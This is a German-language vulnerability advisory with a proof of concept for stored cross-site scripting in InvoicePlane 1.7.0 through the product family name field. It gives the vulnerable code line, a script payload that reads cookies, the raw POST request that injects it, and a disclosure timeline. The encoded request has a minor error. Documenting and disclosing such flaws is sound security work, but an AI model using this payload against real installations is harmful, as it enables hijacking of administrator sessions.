
# Proof-of-Concept für gespeichertes XSS in InvoicePlane 1.7.0 über das Feld für den Familiennamen, einschließlich Payload, Request und Auswirkungsanalyse für defensive Forschung.
Schwachstelle: Stored Cross-Site Scripting (XSS) über das Feld „Familienname“
Produkt: InvoicePlane
Betroffene Version: 1.7.0 (und vermutlich frühere Versionen)
Schweregrad: Mittel
CVSS 3.1-Score: 4.8 (CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N)
CWE: CWE-79: Unzureichende Neutralisierung von Eingaben bei der Erzeugung von Webseiten
Entdeckt von: Leonidas Agathos
Meldedatum: 2026-01-31
Das Feld family_name im Produktfamilien-Formular (/index.php/families/form) akzeptiert beliebige Eingaben ohne Bereinigung. Der Wert wird in der Datenbank gespeichert und später unkodiert im Familien-Dropdown der Produkterstellungs-/Bearbeitungsseite gerendert, was zur Ausführung von JavaScript führt, sobald ein Administrator das Produktformular besucht.
Betroffene Datei: application/modules/products/views/form.php:40
// Zeile 40
><?php echo $family->family_name; ?></option>
Schritt 1 — Payload in den Familiennamen injizieren
Navigieren Sie zu /index.php/families/form und übermitteln Sie Folgendes als Familiennamen:
<script>alert('domain:'+document.domain+'cookies:'+document.cookie)</script>
Anfrage:
POST /index.php/families/form HTTP/1.1
Host: 172.25.0.12
Content-Type: application/x-www-form-urlencoded
_ip_csrf=...&btn_submit=1&is_update=0&family_name=%3Cscript%3Ealert%28document.cookies%29%3C%2Fscript%3E

Schritt 2 — XSS auslösen
Navigieren Sie zu /index.php/products/form. Die Payload wird ausgelöst, sobald das Familien-Dropdown gerendert wird.

Jeder Administrator, der die Produkterstellungs- oder Bearbeitungsseite besucht, erlebt die Ausführung der Payload in seinem Browser. Dies ermöglicht Session-Hijacking (falls Cookies nicht HttpOnly sind), den Diebstahl von CSRF-Tokens sowie Aktionen, die unter der Identität des Opfers ausgeführt werden.
| Datum | Ereignis |
|---|---|
| 2026-01-30 | Schwachstelle entdeckt |
| 2026-01-31 | Proof of Concept entwickelt |
| 2026-01-31 | Hersteller benachrichtigt |
| 2026-02-04 | Bestätigung durch den Hersteller |
| 2026-02-04 | Patch veröffentlicht |
| 2026-02-05 | Öffentliche Offenlegung |
Diese Schwachstelle wurde im Rahmen unabhängiger Sicherheitsforschung entdeckt. Alle Informationen werden ausschließlich zu Bildungs-, Forschungs- und Verteidigungszwecken bereitgestellt, um dem Hersteller und der Sicherheitsgemeinschaft beim Verständnis und der Behebung des Problems zu helfen. Jegliche böswillige Nutzung dieser Informationen ist strengstens untersagt.